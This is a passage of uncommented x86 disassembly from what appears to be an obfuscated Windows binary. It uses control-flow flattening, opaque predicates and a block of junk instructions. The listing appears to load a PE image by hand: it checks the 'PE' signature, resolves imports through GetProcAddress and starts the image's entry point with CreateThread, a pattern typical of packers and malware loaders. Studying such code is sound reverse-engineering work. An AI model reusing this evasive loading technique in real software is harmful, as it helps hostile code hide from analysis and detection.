and bh, dl
xor dl, 1
and dl, dh
or dl, bh
xor al, dl
test al, 1
mov eax, 0x1e12dcc3
cmovne esi, eax
test cl, 1
mov eax, 0x8a2bc508
cmovne eax, esi
test dl, 1
cmove eax, esi
jmp 0x402a30
mov eax, dword [ebp - 0xd4]
mov ecx, 0x97638fd6
cmp eax, 0xc
mov eax, 0xa1f8bbf0
cmove eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x4c]
mov edi, 0xda804c0f
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x492384]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov word [ebp - 0xb2], ax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x9421b460
mov esi, ecx
and esi, 0x4b000090
or ecx, 0x4400a010
or edx, esi
and ecx, 0x440ea31c
mov esi, edx
xor esi, 0x90211460
xor edx, 0x400e031c
and edx, 0x440ea31c
and esi, 0x9b2114e0
or esi, edx
mov edx, eax
and edx, 0x20d04803
or edx, ecx
xor edx, esi
mov ecx, edx
not ecx
and edx, 0xdf21b4f1
and ecx, 0x20de4b0e
or edx, ecx
mov ecx, edx
not ecx
and edx, eax
andn esi, eax, ecx
or edx, esi
mov esi, 0xab19b027
not edx
or edx, ecx
cmp edx, 0xffffffff
sete ah
cmp dword [0x492380], 0xa
setge al
inc al
mov ecx, eax
or al, ah
xor cl, ah
xor al, 1
mov edx, ecx
or al, cl
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, al
or al, dl
xor cl, 1
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0xda804c0f
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x402a30
mov eax, 0xe9562a77
jmp 0x402a30
mov eax, dword [ebp - 0x70]
mov esi, 0xdae0bd82
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [0x492384]
add eax, 4
mov dword [ebp - 0x158], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xfffffffe
and edx, 0xfffffffe
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne ah
sete dl
cmp dword [0x492380], 0xa
mov dh, ah
setge cl
setl ch
mov al, cl
or cl, ah
and dh, ch
xor ah, ch
xor ch, dl
and al, dl
xor cl, 1
or al, dh
or cl, ch
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
mov cl, ah
or al, dl
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xd24ca3d0
cmovne edx, esi
test al, 1
mov esi, 0xd24ca3d0
mov eax, edx
cmovne eax, esi
jmp 0x41162d
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x16db119a
mov eax, ecx
and eax, 0xddccfbd1
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x2233042e
mov ebx, edx
not ebx
and edx, 0xa57e6bb6
or eax, esi
mov esi, eax
xor eax, 0x213000a
xor esi, 0x4480190
or eax, 0xe924ee65
and esi, 0x45a0192
mov edi, eax
or eax, ebx
and edi, 0x5a819449
and ebx, 0x5a819449
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x4efe1713
or eax, edx
not edx
and edx, 0xe924ee64
and eax, 0x16db119b
or eax, edx
mov edx, eax
not edx
and eax, 0x6fc9c187
and edx, 0x90363e78
or eax, edx
xor eax, 0x6fc9c187
or eax, ecx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x492380], 0xa
setge ah
mov ch, ah
mov dl, ah
xor ch, cl
and ch, ah
inc ah
and dl, ah
xor dl, 1
mov dh, dl
or dl, ah
xor dh, ah
xor dl, 1
xor ah, cl
or dl, dh
or ah, ch
xor dl, 1
xor cl, dl
or dl, al
and cl, al
xor cl, 1
mov al, cl
or cl, dl
xor al, dl
xor cl, 1
or cl, al
mov al, ah
xor cl, 1
xor al, cl
or cl, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x8acf8785
cmovne edx, esi
test cl, 1
mov ecx, 0x8acf8785
cmovne ecx, edx
test al, 1
jmp 0x412921
movzx eax, word [ebp - 0xb2]
mov eax, 0x7d341a51
jmp 0x402a30
mov eax, 0x5bb677ac
jmp 0x402a30
mov eax, 0x2975ebf
jmp 0x402a30
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, dword [0x492384]
lea edi, [eax + 1]
setne byte [ebp - 0x73]
imul edi, eax
mov esi, edi
not esi
mov eax, edi
and eax, 0x93e84307
or edi, 0xc17cc21a
mov ecx, esi
and ecx, 0x6c17bcf8
and esi, 0xe002145
or ecx, eax
mov eax, ecx
mov ebx, ecx
xor eax, 0x6c17bcf8
xor ebx, 0x5294811d
xor ecx, 0x82200201
and ebx, eax
and ecx, 0xea322629
mov edx, ebx
not edx
and ebx, 0xf002155
mov dword [ebp - 0x90], edx
and dword [ebp - 0x90], 0xf0ffdeaa
or edx, edi
and edi, 0xf0ffdeaa
add ebx, dword [ebp - 0x90]
or esi, edi
not edx
xor esi, ebx
or edx, esi
mov esi, edx
not esi
and edx, 0x5d1291cd
and esi, 0xa2ed6e32
or edx, esi
mov esi, eax
and esi, 0x15cdd9d6
and eax, 1
or esi, ecx
xor edx, 0x9c6e53d6
xor esi, 0xea322628
or eax, esi
not eax
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x3d55a1a3
and eax, 0xc2aa5e5c
or ecx, eax
mov eax, ecx
xor eax, 0x205400a2
xor ecx, 0xc2aa5e5c
mov esi, ecx
and esi, 0xdfabf109
and eax, 0x20540ef6
or eax, esi
mov esi, edx
not esi
and edx, 0x20540ef6
or ecx, esi
and esi, 0xdfabf109
or edx, esi
not ecx
mov esi, 0xa6684380
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x2a6eab7c
mov edx, eax
and edx, 0xd5915483
or ecx, edx
xor ecx, 0x2a6eab7c
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x492380], 0xa
mov ch, dl
setl cl
setge al
inc ch
and dl, cl
xor cl, ch
or ch, al
xor ch, 1
and cl, al
or cl, ch
mov ch, al
xor ch, ah
and ch, al
and al, ah
or al, dl
or al, ch
mov edx, eax
mov ah, al
not dl
and dl, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
xor al, cl
test al, 1
mov eax, 0x12abcd5d
cmovne esi, eax
test dl, 1
mov edx, 0xa6684380
mov eax, esi
jmp 0x410e51
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
and ecx, 1
mov edx, esi
and edx, 0xfffffffe
and esi, 0x80009c8a
or ecx, edx
mov edx, eax
and edx, 0x7fff6375
and eax, 0xae9be20c
or edx, esi
mov esi, ecx
and esi, 0x51641df3
or eax, esi
mov esi, edx
xor esi, 0x2e9b6204
xor edx, 0x80009c8a
or ecx, edx
and edx, 0x51641df3
and esi, 0xae9be20c
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x2f0e39fa
xor ecx, 0xffffffff
sete al
setne cl
cmp dword [0x492380], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor cl, 1
xor al, dl
xor ah, 1
xor al, 1
or ah, cl
mov cl, ah
or cl, al
xor al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x7002089
cmovne eax, esi
test cl, cl
mov ecx, 0x7002089
cmovne eax, ecx
test dl, dl
cmove eax, esi
jmp 0x402a30
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x8c5f1801
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x73a0e7fe
and eax, 0x8c5f1801
or eax, ecx
mov ecx, eax
xor ecx, 0xf26203c4
mov edx, eax
not edx
mov ebx, eax
and ebx, 0xd904030
andn esi, eax, ecx
or edx, 0xf26203c4
and eax, 0xfffffffe
mov ecx, esi
not ecx
and esi, 0x9ff04274
mov edi, ecx
or ecx, edx
and edi, 0x600fbd8b
and edx, 0x600fbd8b
or esi, edi
or ebx, edx
not ecx
xor ebx, esi
mov esi, 0xc186cc28
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0xf26203c5
and edx, 0xd9dfc3a
or ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2dafb26b
and ecx, 0xd2504d94
or ecx, eax
mov eax, ecx
xor eax, 0xd0004484
xor ecx, 0x25aaa220
and ecx, 0x27faab30
and eax, 0xd80554cf
or eax, ecx
xor eax, 0xd80554cf
sete dl
setne cl
cmp dword [0x492380], 0xa
setge al
mov ah, al
xor ah, cl
or cl, al
or al, dl
and ah, dl
xor al, 1
or al, ah
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor ah, cl
xor cl, 1
xor dl, 1
or dl, al
or al, cl
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x9a3b977
cmovne eax, esi
test dl, 1
mov edx, 0x9a3b977
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x60]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, 0x40455da8
jmp 0x402a30
mov eax, dword [ebp - 0x54]
mov esi, 0x7002089
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x400ccc0a
mov edx, eax
and edx, 0x5401040
and eax, 0xbab323b5
or ecx, edx
xor ecx, 0x400ccc0a
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0xd469e7e4
and edx, 0xfffffffe
and ecx, 0x2b96181b
or eax, ecx
xor eax, 0xd469e7e5
or eax, edx
mov ecx, eax
not ecx
and eax, 0x46becb11
and ecx, 0xb94134ee
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb9455b4a
and ecx, 0x46baa4b5
or eax, ecx
cmp eax, 0x46fa4
sete ah
cmp dword [0x492380], 0xa
mov ch, ah
mov cl, ah
setl al
inc ch
and cl, ch
mov edx, eax
xor cl, 1
xor dl, ah
mov dh, cl
or cl, ch
xor dl, 1
xor dh, ch
xor cl, 1
or cl, dh
xor cl, al
or al, ah
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xb6c6c6af
cmovne eax, esi
test dl, 1
mov edx, 0xb6c6c6af
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x10c]
mov dword [eax], ecx
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0x60810209
not edx
mov esi, edx
or esi, 0x6288010
and ecx, 0x66a98219
and edx, 0x98541d40
or edx, ecx
mov ecx, eax
and esi, 0x66a98219
and ecx, 0x10260a6
or ecx, esi
mov esi, 0xdafad225
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x9e7c9d51
and edx, 0x618362ae
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x492380], 0xa
mov ch, dl
setl cl
setge al
or dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
or al, ah
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x2918c73b
cmovne eax, esi
test dl, 1
mov edx, 0x2918c73b
jmp 0x410e51
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x20
mov eax, 0x825642de
jmp 0x402a30
mov eax, 0x92369c52
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 0x4cdf8c00
mov edi, eax
mov esi, edx
and esi, 0xa2a6706c
and edi, 0x11000393
and eax, 0x6fb31505
or edi, esi
mov esi, ecx
xor esi, 0xb32073ff
and esi, ecx
mov ebx, esi
not ebx
and esi, 0x5d598f93
or edx, ebx
and ebx, 0xa2a6706c
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x1fd36d1e
and esi, 0xe02c92e1
or edx, esi
mov esi, edx
xor edx, 0x43000105
xor esi, 0xacf31ee0
mov edi, esi
or esi, ecx
and ecx, 0x904ceafa
and edi, 0x904ceafa
and edx, 0x6fb31505
or edx, edi
or eax, ecx
not esi
xor eax, edx
or esi, eax
xor esi, 0xffffffff
mov esi, 0xcd0db018
setne ah
sete cl
cmp dword [0x492380], 0xa
mov ch, ah
setl dl
setge al
or ch, dl
xor dl, ah
or cl, al
and dl, al
xor al, ah
mov dh, cl
or cl, ch
mov ah, dl
xor dl, al
xor al, 1
xor dh, ch
xor cl, 1
xor ah, 1
or cl, dh
or al, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x8c9a5214
cmovne eax, esi
test dl, dl
mov edx, 0x8c9a5214
cmove eax, edx
jmp 0x410967
movzx eax, word [ebp - 0xb4]
mov ecx, dword [ebp - 0x12c]
cmp ecx, eax
mov ecx, dword [0x492384]
setl byte [ebp - 0x7b]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xf38f86ac
mov ecx, edx
and ecx, 0xc707952
and edx, 0x685d11da
or esi, ecx
mov ecx, eax
and ecx, 1
and eax, 0x97a2ee25
xor esi, 0xf38f86ac
or eax, edx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xa9e9be6f
mov esi, edx
and esi, 0x56164190
or ecx, esi
mov esi, eax
xor esi, 0x81a0ae25
xor eax, 0x40140190
and eax, 0x56164190
and esi, 0xa9e9be6f
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xe2de4761
setne cl
sete dl
cmp dword [0x492380], 0xa
mov ah, cl
setl ch
setge al
and cl, ch
and ah, al
and ch, dl
or ch, ah
mov ah, ch
xor ah, al
and al, dl
or al, cl
and ah, ch
mov cl, ah
mov edx, eax
xor cl, 1
xor dl, 1
and al, cl
or cl, dl
and dl, ah
or dl, al
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x4efe1713
cmovne edx, esi
test cl, cl
mov ecx, 0x4efe1713
cmovne edx, ecx
test al, 1
cmove edx, esi
mov eax, edx
jmp 0x402a30
mov eax, 0xfa7153c3
jmp 0x402a30
mov eax, 0x24461f76
jmp 0x402a30
dec eax
neg eax
bswap edx
bswap ebx
imul edx
bswap edx
rcl eax, 0xcd
rcr edx, 0x7e
rol ebx, 0x1a
dec esi
ror edx, 0x5a
sbb eax, 0xbf
ror edx, 0x27
rcr edx, 0x55
inc ebx
and ebx, 0x6c
bswap edi
mov edx, 0xd1
rcl esi, 0x20
rol ebx, 0xe4
ror edx, 0x61
not edi
not eax
imul esi
mov edx, 6
not eax
imul edx
not eax
add ebx, 0x74
or edx, 0x17
add edx, 0x5d
and eax, 0xfb
imul esi
rcl edx, 0x3b
not eax
inc esi
inc edx
neg esi
and edi, 0xd6
and esi, 0x75
sub edx, 0x1f
and edx, 0x3b
imul ebx
neg eax
dec esi
sbb eax, 0x63
bswap esi
inc edi
inc edi
and edx, 0xf7
rcr eax, 0x2c
imul esi
inc esi
neg esi
rol edx, 0xee
dec esi
add ebx, 2
mov eax, 0xb0
rol edx, 0x69
bswap ebx
neg ebx
sbb ebx, 0x28
rcl edx, 0x47
imul ebx
sbb edi, 0x2a
sub edi, 0xd6
or eax, 0x3e
dec eax
ror eax, 0x84
imul esi
bswap eax
inc ebx
rcl edx, 0x1f
and ebx, 0x50
bswap ebx
inc ebx
dec ebx
rcl esi, 0xff
sbb edx, 0xbf
neg esi
inc edi
and esi, 0xa4
dec ebx
neg esi
not ebx
mov eax, 0x97
not eax
sbb esi, 0x4e
mov eax, 0x6b
or ebx, 0x29
rcr edi, 0xa0
or esi, 0x7b
dec ebx
ror edx, 0xc1
sub esi, 0xba
imul edx
bswap esi
dec edi
rcr eax, 0xf
neg edi
sub esi, 0x68
inc ebx
rol edx, 0xbc
and ebx, 0x76
dec ebx
add eax, 0x15
dec eax
or eax, 0x4e
rcl ebx, 0x1d
imul eax
and esi, 0x5e
imul edi
inc edi
sbb esi, 0x7d
sub edi, 0x60
bswap edi
rol eax, 0x88
imul edi
rol edi, 0x62
bswap edx
rcl edx, 0xfd
rcl eax, 0x36
imul eax
neg edx
neg eax
sub ebx, 0xd6
bswap esi
not eax
mov edx, 0x38
bswap edi
add edi, 0x3c
rcl eax, 0xf5
not esi
add edx, 0x5b
rcr eax, 0x3f
neg esi
not ebx
neg eax
neg esi
dec esi
add eax, 0xe9
mov ebx, 0xcb
sub ebx, 0xba
bswap ebx
inc eax
not esi
rcl esi, 0x38
dec edi
sbb edi, 0x39
add eax, 0xf
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x1c0], eax
mov eax, 0x4941a537
jmp 0x402a30
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x84], eax
sub esp, 0x44
mov ecx, dword [0x492384]
mov eax, esp
mov dword [ebp - 0x88], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0xc6eb556a
not edx
mov ecx, edx
and esi, eax
and ecx, 0xc6eb556a
and edx, 0xd820e452
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x3914aa94
and esi, 0xc6eb556b
or ecx, esi
mov esi, eax
and esi, 0x27df1bad
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0xd020a001
xor esi, 0x20910b8c
or eax, edx
mov edx, ecx
and esi, 0x28914fde
not edx
and ecx, 0x12bf3f63
and eax, 0xd76eb021
or eax, esi
mov esi, edx
and esi, 0xed40c09c
or ecx, esi
mov esi, eax
xor esi, 0x122e3021
xor eax, 0x28914fde
or edx, eax
and eax, 0xed40c09c
and esi, 0x12bf3f63
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x65c6a6fb
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x5beb52d7
and eax, 0xa414ad28
or eax, ecx
xor eax, 0xa414ad28
or eax, edx
cmp eax, 0xffffffff
sete dl
cmp dword [0x492380], 0xa
setl cl
mov eax, ecx
xor cl, dl
xor cl, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x46f80dc6
cmovne ecx, esi
test al, 1
mov esi, 0x46f80dc6
mov eax, ecx
cmovne eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x140]
mov ecx, 0x2cdfe408
cmp eax, dword [ebp - 0x148]
mov eax, 0x6a657e54
cmove eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov dword [ebp - 0x11c], eax
mov eax, 0x164e26cb
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x28150042
and eax, 0x43800310
mov edx, ecx
or edx, 0x8408b089
and esi, 0xac1db0cb
and ecx, 0x10624c24
and edx, 0xac1db0cb
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x946afcad
and ecx, 0x6b950352
or eax, ecx
mov esi, eax
xor esi, 0x90447cd6
andn edx, eax, esi
and esi, eax
mov ecx, edx
mov ebx, esi
not ecx
not ebx
and edx, 0x19dcbb0
and esi, 0x19dcbb0
mov edi, ecx
or ecx, ebx
and edi, 0xfe62344f
and ebx, 0xfe62344f
or edx, edi
or esi, ebx
not ecx
xor esi, edx
mov edx, eax
not edx
and eax, 0xdbef8d13
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x90447cd7
and esi, 0x6fbb8328
or ecx, esi
mov esi, edx
and esi, 0x241072ec
and edx, 1
or esi, eax
xor esi, 0xdbef8d12
or edx, esi
mov eax, edx
not eax
and edx, 0x4f47d9c0
and eax, 0xb0b8263f
or edx, eax
mov eax, ecx
not eax
and ecx, 0x1d8688f7
mov esi, eax
and esi, 0xe2797708
or ecx, esi
mov esi, edx
xor esi, 0xd0688c0
xor edx, 0xb0b8263f
or eax, edx
and edx, 0xe2797708
and esi, 0x1d8688f7
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xb677f94
mov ecx, eax
not ecx
and eax, 0xab0f60b7
and ecx, 0x54f09f48
or ecx, eax
mov eax, ecx
xor eax, 0x760a2
xor ecx, 0x40e01348
and ecx, 0xebe8135d
and eax, 0x1417eca2
or eax, ecx
xor eax, 0xebe8135d
setne ch
sete dl
cmp dword [0x492380], 0xa
mov dh, ch
setge al
setl ah
mov cl, al
and dh, ah
xor ah, dl
and cl, dl
xor dl, al
or al, ch
or cl, dh
xor al, 1
xor dl, 1
or al, ah
xor cl, 1
mov ah, cl
or cl, al
xor ah, al
not cl
or cl, ah
mov eax, 0xdae0bd82
xor cl, dl
and cl, 1
cmovne esi, eax
test cl, dl
mov eax, 0xb677f94
cmovne esi, eax
test cl, cl
cmovne eax, esi
test cl, dl
cmove eax, esi
jmp 0x402a30
mov eax, dword [ebp - 0x168]
movzx ecx, word [eax]
mov esi, ecx
mov eax, ecx
xor eax, 0xcfff
not esi
mov edx, esi
and eax, ecx
and edx, 0xffffcfff
and esi, 0xffffc3a3
and ecx, 0x3c5c
or eax, edx
or ecx, esi
mov esi, ecx
mov edx, eax
not edx
xor esi, 0x381c
xor ecx, 0xffffc3a3
mov edi, eax
and edi, 0xffffc661
or eax, ecx
and edx, 0x399e
and ecx, 0xffffc661
and esi, 0x399e
or edx, edi
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
and eax, 0x94
and ecx, 0xffffff6b
or eax, ecx
movzx eax, ax
cmp eax, 0x94
mov eax, 0x4234c0ef
setne byte [ebp - 0x78]
jmp 0x402a30
mov eax, 0xacced3f8
jmp 0x402a30
cmp dword [ebp - 0x130], 0
mov eax, dword [0x492384]
lea ecx, [eax + 1]
setne byte [ebp - 0x7d]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x3e3707b7
and ecx, 0x2f29737c
mov esi, eax
and esi, 0xc1c8f848
and eax, 0xd0d68c83
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xbef12916
and esi, 0x410ed6e9
or edx, esi
mov esi, edx
xor esi, 0x50108003
xor edx, 0x80c62ea0
mov edi, edx
and edi, 0x2f29737c
and esi, 0xd0d68c83
or esi, edi
xor eax, esi
mov esi, 0xd4780f6
not eax
or eax, edx
xor eax, 0xffffffff
setne cl
sete al
cmp dword [0x492380], 0xa
mov edx, ecx
setl ah
setge ch
mov dh, ah
and dl, ch
xor cl, ch
and dh, al
and cl, al
xor al, ah
or dh, dl
and al, ah
mov dl, dh
or al, cl
xor dl, ch
and dl, dh
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
and dl, al
or al, ah
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xc26e6ddf
cmovne edx, esi
test al, al
mov eax, 0xc26e6ddf
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and edx, 0xb823a16f
and eax, 0x47dc5e90
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0xb9ac207f
mov edx, eax
xor edx, 0x47dc5e90
xor eax, 0xb823a16f
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x492380], 0xa
mov edx, eax
setge cl
or dl, cl
xor al, cl
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
mov ch, dl
xor ch, cl
and cl, dl
and ch, dl
or cl, al
mov edx, 0xb2e49ec7
mov al, ch
xor al, cl
cmovne edx, esi
test cl, cl
mov eax, edx
cmovne eax, esi
test ch, ch
cmove eax, edx
jmp 0x402a30
mov eax, 0x7e5a1145
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xc015a220
mov ecx, edx
and ecx, 0x1b8a000c
and edx, 0x87f76a18
or esi, ecx
mov ecx, eax
xor ecx, 0xdb9fa22c
and ecx, eax
xor esi, 0xc015a220
and eax, 0x780895e7
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xe13e1450
mov edx, eax
xor eax, 0x87f76a18
xor edx, 0x780895e7
and esi, 0x1ec1ebaf
or ecx, esi
mov esi, ecx
xor esi, 0x3aa1b67d
xor ecx, 0xc55e4982
and eax, esi
and edx, ecx
mov esi, 0x2d6f64e6
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x492380], 0xa
setge al
setl ah
mov ch, al
and cl, ah
xor ch, dl
and ch, al
and al, dl
xor dl, ah
or al, cl
mov ah, dl
or al, ch
mov ecx, eax
xor ah, al
and al, dl
and ah, dl
xor dl, 1
not cl
and cl, dl
mov edx, 0x92ba5774
or al, cl
mov ecx, eax
xor cl, ah
test al, al
cmovne edx, esi
test ah, ah
mov eax, 0x92ba5774
cmove edx, eax
test cl, cl
cmovne edx, esi
mov eax, edx
jmp 0x402a30
mov eax, dword [ebp - 0x84]
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
andn eax, edx, edx
mov ecx, edx
not ecx
mov edi, edx
and edi, 0xea4f1e5e
mov esi, eax
not esi
and ecx, 0x15b0e1a1
and eax, 0x15b0e1a1
or edx, esi
and esi, 0xea4f1e5e
or ecx, edi
or eax, esi
not edx
xor eax, ecx
or edx, eax
mov eax, edx
xor eax, 0x191e8b74
mov ecx, edx
and ecx, 0x483fe849
and eax, edx
not edx
and edx, 0xb7c017b6
or ecx, edx
mov edx, ecx
xor edx, 0x483fe849
xor ecx, 0xa0000030
mov esi, edx
and esi, 0x191e8b74
or edx, 1
and ecx, 0xa8102078
or eax, esi
mov esi, eax
not esi
and eax, 0xbbc138c4
and esi, 0x443ec73b
or eax, esi
mov esi, eax
xor esi, 0xa0102030
xor eax, 0x5d204c4e
mov edi, eax
or eax, edx
and edx, 0x57efdf87
and edi, 0x57efdf87
and esi, 0xa8102078
or esi, edi
or ecx, edx
not eax
mov edi, 0x9895ee6f
xor ecx, esi
mov esi, 0x9895ee6f
or eax, ecx
mov edx, eax
xor edx, 0x718a48ec
mov ecx, eax
and ecx, 0x618a48e8
and edx, eax
not eax
and eax, 0x10000004
or ecx, eax
xor ecx, 0x618a48e8
or ecx, edx
not edx
and edx, 0x8e75b713
and ecx, 0x718a48ec
or ecx, edx
setne dl
sete ch
cmp dword [0x492380], 0xa
setl cl
setge al
mov ah, cl
or dl, cl
or cl, ch
or al, ch
xor ah, ch
mov ch, dl
xor cl, 1
xor ch, al
or al, dl
or cl, ah
xor al, 1
mov ah, cl
or al, ch
xor ah, 1
mov edx, eax
and al, cl
xor dl, 1
or cl, dl
and dl, ah
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb7f1287e
cmovne esi, eax
test dl, 1
mov eax, esi
cmovne eax, edi
test cl, 1
cmovne eax, esi
jmp 0x402a30
mov eax, dword [ebp - 0x44]
mov dword [eax], 4
mov eax, 0x64c7edd5
jmp 0x402a30
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x184]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
mov dword [ebp - 0x188], eax
mov eax, 0x6db7bfca
jmp 0x402a30
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
